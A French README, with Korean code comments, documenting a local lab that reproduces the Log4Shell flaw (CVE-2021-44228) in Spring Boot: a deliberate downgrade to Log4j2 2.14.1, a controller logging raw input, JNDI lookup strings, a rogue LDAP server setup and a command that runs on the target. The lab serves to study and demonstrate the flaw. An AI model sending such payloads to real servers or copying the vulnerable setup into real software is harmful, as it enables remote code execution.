
Test de vulnérabilité Log4j2 LDAP (CVE-2021-44228)
🎈 Testé dans un environnement Spring Boot 2.x
pom.xml : Abaissement de la version de Log4j2 vers une version vulnérable
<properties>
<java.version>17</java.version>
<!-- 현재 설정된 Spring Boot 버전은 취약점이 존재하는 log4j 2.14.1 보다 높은 버전을 가지기 때문에, 일부러 버전을 낮춘다.-->
<log4j2.version>2.14.1</log4j2.version>
</properties>
LoggingController : Ajout d'une méthode de contrôleur qui journalise directement l'entrée de l'utilisateur
@PostMapping("/form")
public String form(String ldapString, RedirectAttributes rttr) {
try {
LOGGER.info("{}", ldapString);
rttr.addFlashAttribute("exception", "예외 발생 X");
} catch (Exception e) {
rttr.addFlashAttribute("exception", "예외발생 O: " + e.getMessage());
}
return "redirect:/";
}
Exécution dans le navigateur

Lorsque la chaîne ${jndi:ldap://127.0.0.1:19090/run} est envoyée au serveur, ce dernier tente de se connecter à 127.0.0.1:19090.
2022-01-03 13:16:52.526 INFO 14736 --- [nio-8080-exec-7] o.m.t.c.LoggingController : ${jndi:ldap://127.0.0.1:19090/run}
2022-01-03 13:17:09,993 http-nio-8080-exec-10 WARN Error looking up JNDI resource [ldap://127.0.0.1:19090/run]. javax.naming.CommunicationException: 127.0.0.1:19090 [Root exception is java.net.ConnectException: Connection refused: connect]
...
Comme aucun serveur LDAP n'était actif sur le port local 19090, un journal d'erreur avec l'exception Connection refused: connect a été généré.
Dans le code LOGGER.info("{}", ldapString);, aucune exception d'erreur JNDI n'a été levée.
À partir du code https://github.com/veracode-research/rogue-jndi, j'ai étudié uniquement les parties liées à Tomcat et les ai organisées dans un simple projet Spring Boot.
La raison pour laquelle je n'ai étudié que les parties liées à Tomcat...
Comme le serveur de test cible est basé sur le Tomcat intégré de Spring Boot, j'ai estimé qu'étudier uniquement Tomcat suffirait à confirmer le fonctionnement de la vulnérabilité, et j'ai donc procédé ainsi.
Préparation de la commande
Faire exécuter une simple calculatrice était trop simple, j'ai donc combiné des commandes cmd.
ldapserver-config.properties
# 타겟 서버의 윈도우 OS 버전을 텍스트 파일에 기록한 다음 메모장으로 여는 내용
ldaptest.remote.command=cmd /c ver > test.txt && notepad test.txt
...
En testant réellement, il s'est avéré que l'exécution à distance de fichiers exécutables sur le serveur de test cible était effectivement possible. La méthode de vérification est la suivante.
Exécution du serveur ldap-server et du serveur traget-server
# LDAP 서버 실행
C:\git-mklinkj\log4j2-test\ldap-server>mvnw clean spring-boot:run
# 테스트 타겟 서버 실행
C:\git-mklinkj\log4j2-test\target-server>mvnw clean spring-boot:run
Envoi de la chaîne ${jndi:ldap://127.0.0.1:19090/o=tomcat} au serveur de test cible, puis vérification

Le fichier test.txt a été créé à la racine du projet target-server et a été ouvert via le Bloc-notes.
La génération du Payload à envoyer au Tomcat cible utilise Nashorn, l'implémentation JavaScript de Java, mais Nashorn a été complètement supprimé à partir de Java 15. Il y avait donc un problème : le serveur LDAP envoyait bien la commande au Tomcat cible, mais celle-ci n'était pas exécutée.
Dans ce cas, il suffisait d'ajouter l'une des deux bibliothèques nashorn-core ou rhino-engine au serveur Tomcat cible.
<dependency>
<groupId>org.openjdk.nashorn</groupId>
<artifactId>nashorn-core</artifactId>
<version>${nashorn.version}</version>
</dependency>
<dependency>
<groupId>org.mozilla</groupId>
<artifactId>rhino-engine</artifactId>
<version>${rhino-engine.version}</version>
</dependency>
Pour simplifier la gestion des versions, le pom.xml a été modifié avec une relation parent-enfant ; il peut être exécuté depuis le répertoire contenant le POM parent, comme suit.
# 전체 테스트
$ mvnw clean test
# 백그라운드로 실행하지 않으므로 별도의 콘솔창에서 각각 실행햐아한다.
$ mvnw clean spring-boot:run -pl ldap-server
$ mvnw clean spring-boot:run -pl target-server
# 하위 프로젝트 디렉토리에 직접 들어가서 실행해도 된다.
$ cd target-server
$ mvnw clean spring-boot:run
Ce logiciel est fourni uniquement à des fins éducatives et/ou pour tester des systèmes que l'utilisateur a préalablement autorisés à attaquer.
(Comme cette mention a également été ajoutée à rogue-jndi, je l'ai donc incluse. 😓)